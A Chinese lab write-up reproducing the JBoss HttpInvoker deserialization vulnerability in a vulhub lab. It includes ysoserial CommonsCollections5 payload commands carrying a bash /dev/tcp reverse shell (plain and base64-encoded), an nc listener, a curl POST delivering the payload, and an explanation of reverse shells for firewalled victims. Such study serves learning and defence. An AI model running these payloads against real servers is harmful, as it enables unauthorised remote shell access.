一、漏洞介绍
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞,该漏洞在内网中比较常见。
二、环境搭建
- 攻击机:192.168.70.2(kali)
- 受害机:192.168.70.3(vulhub)
利用命令:docker-compose up -d 启动环境
三、访问目标
1、探测
在kali上利用命令:nmap -sV 192.168.70.3 探测vulhub靶机端口。
2、访问
(1)环境启动后,访问http://192.18.70.3:8080,其中 192.168.70.3为靶机的IP地址。
(2)由于该漏洞是出现在/invoker/readonly请求中,于是访问http://192.168.70.3:8080/invoker/readonly。
http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化
四、漏洞复现
1、序列化数据的生成
① ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。所以我们使用 ysoserial 来复现生成序列化数据,并重定向到exp.ser文件。由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5,本来的命令是这样的:
java -jar ysoserial.jar CommonsCollections5 “bash -i >& /dev/tcp/192.168.70.2/21 0>&1” >exp.ser
②但是我们在使用bash反弹shell的时候,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码(点我在线编码),再使用,所以转化后的命令为:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcwLjIvMjEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
- 注意:编码是对①中的 bash -i >& /dev/tcp/192.168.70.2/21 0>&1 进行编码,并不是对整条命令进行编码。
③ 但是当我执行上述命令的时候报错如下,提示我没有通过ysoserial.jar。
经过各种查资料无果,后来问老师,才知道原来是我缺少该包,我之前下载的是原包,并不是jar包,于是在GitHub上重新下载该jar包,下载链接点我,下载好将其拖到kali的桌面,并改名为ysoserial.jar,如果不改名依旧会报错 。~~~不是在报错就是在报错的路上(╯^╰〉
④ 执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。
2、监听
在攻击机(kali)上利用nc监听21端口,可以再新开一个窗口进行监听。
3、攻击
此时我们可以使用curl命令,将我们的序列化数据以POST的形式发送。
curl http://192.168.70.3:8080/invoker/readonly --data-binary @exp.ser
4、成功反弹
nc成功接收到反弹的shell。我们可以试着输入ls命令列车靶机当前目录下的文件。
反弹shell:
英文名(好像高端一点):Reverse Shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。简洁的说,简单说就是将受害者的输出与输入全部都重定向到攻击者的主机上。
那为什么要用反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形;
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
- 2.它的ip会动态改变,你不能持续控制。
- 3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
你只管往前走,
其它的交给时间。
一分一秒,
一滴泪的时间。